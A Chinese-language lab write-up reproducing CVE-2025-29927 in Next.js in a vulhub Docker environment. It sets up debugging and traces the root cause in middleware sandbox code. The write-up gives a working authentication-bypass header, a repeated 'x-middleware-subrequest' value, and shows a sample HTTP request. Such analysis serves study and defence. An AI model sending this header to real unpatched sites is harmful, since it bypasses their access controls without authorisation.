受影响的版本

Next.js 15.x < 15.2.3

Next.js 14.x < 14.2.25

Next.js 13.x < 13.5.9

环境

使用vulhub中的docker环境，https://github.com/vulhub/vulhub/tree/master/next.js/CVE-2025-29927

docker compose up -d

复现

访问首页，需要登录，

登录数据包如下：

GET /?_rsc=ak96a HTTP/1.1
Host: 172.29.198.146:3000
RSC: 1
Next-Url: /login
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Flogin%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Accept: */*
Referer: http://172.29.198.146:3000/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: next_username=admin; next_password=1
Connection: keep-alive

登录成功如下：

在http请求头中加入,即可绕过登录认证

1	x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

分析

调试环境搭建

本地调试环境，可以从https://github.com/vulhub/vulhub/tree/master/base/next.js/15.2.2下载，或者像我一样，在docker起好环境后，cp出来

vscode打开，先运行yarn start –port 8081看一下能不能正常运行

可以正常运行后，在目录下建一个.vscode/launch.json文件，内容为

{
    "version": "0.2.0",
    "configurations": [
      {
        "type": "node",
        "request": "launch",
        "name": "Launch via Yarn",
        "runtimeExecutable": "yarn",
        "runtimeArgs": ["start", "--port", "8083"],
        "skipFiles": ["<node_internals>/**"],
        "sourceMaps": true,
        "cwd": "${workspaceFolder}"
      }
    ]
  }

之后可以看到在运行和调试页面，有一个Launch via Yarn，

点击运行后，在调试控制台中可以看到运行日志

在代码中打上断点，发送数据包，就可以正常断点下来了

不过这里有个问题是，调试时的代码是app/.next/server/middleware.js，而不是app/middleware.js。不过问题不大，

sandbox.js的路径为app/node_modules/next/dist/server/web/sandbox/sandbox.js,

而不是app/node_modules/next/dist/esm/server/web/sandbox/sandbox.js

漏洞代码

漏洞成因的关键点在

export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }

代码中const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);这一行的作用是遍历请求头字段x-middleware-subrequest，计算其中等于params.name的元素数量，而params.name的值，通过追踪代码，可以定位到是在

/app/.next/server/middleware-manifest.json这个文件中定义的

因此只需要构造这样一个请求头字段，即可绕过中间件中的所有逻辑

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

参考

https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

https://t.zsxq.com/ueXPG

https://mp.weixin.qq.com/s/cge_zC3kd6BkaxHXXNvleQ